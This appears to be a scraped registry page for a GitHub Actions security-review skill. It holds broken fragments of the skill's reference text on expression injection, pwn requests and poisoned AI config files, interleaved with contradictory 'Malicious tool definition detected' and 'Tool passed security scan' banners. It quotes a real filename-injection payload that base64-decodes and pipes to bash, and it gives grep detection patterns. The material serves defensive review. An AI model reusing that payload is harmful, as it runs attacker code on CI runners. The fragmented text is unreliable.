gha-security-review

Malicious tool definition detected

Malicious tool definition detected

Description: `github.event.inputs.*` (workflow_dispatch) | Requires write access — not an external threat | | `github.event.commits[*].message` (push to protected) | Requires write access | --- ## Exploitation Scenario Template ``` ATTACK: Expression Injection via [source] ENTRY: Attacker creates [PR/issue/comment] with payload in [field] PAYLOAD: [exact string the attacker provides] TRIGGER: Workflow [file:line] runs on [event], expression at line [N] expands to shell code EXECUTION: Shell inte

Malicious tool definition detected

--- ## Attack 4: DataDog/datadog-iac-scanner — Filename Injection **Category:** Expression Injection **Target:** DataDog repository ### Attack Base64-encoded shell commands embedded in filenames: ``` documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md ``` When the workflow iterated over modified files using `${{ }}`, the filename was interpreted as a shell command. ### Response DataDog deployed emergency fixes within 9 hours (PR #9, Feb 27).

**Expression injection:** 3 of 7 attacks used `${{ }}` injection --- ## Using This Reference When you confirm a finding in a review, reference the most similar real-world attack: - Pwn request → awesome-go or trivy (depending on credential scope) - Expression injection → microsoft/ai-discovery-agent or DataDog - Comment command → project-akri - AI config poisoning → ambient-code/platform - Credential theft → trivy (worst-case scenario) Include the real-world precedent in your finding to help sta

Malicious tool definition detected

## Detection Patterns ```bash # Find workflows using AI agents grep -rn "claude-code-action\|copilot\|openai\|anthropic" .github/workflows/ # Check if they use pull_request_target (fork code access) grep -B10 "claude-code-action\|copilot" .github/workflows/*.yml | grep "pull_request_target" # Check permissions granted to AI workflows grep -B20 "claude-code-action" .github/workflows/*.yml | grep "permissions" -A5 # Find config files that could be poisoned ls -la CLAUDE.md AGENTS.md .cursorrules .

Malicious tool definition detected

Malicious tool definition detected

Research the codebase as needed to trace complete attack paths before reporting. ### Files to Review - `.github/workflows/*.yml` — all workflow definitions - `action.yml` / `action.yaml` — composite actions in the repo - `.github/actions/*/action.yml` — local reusable actions - Config files loaded by workflows: `CLAUDE.md`, `AGENTS.md`, `Makefile`, shell scripts under `.github/` ### Out of Scope - Workflows in other repositories (only note the dependency) - GitHub App installation permissions (n

Malicious tool definition detected

Malicious tool definition detected

Tool passed security scan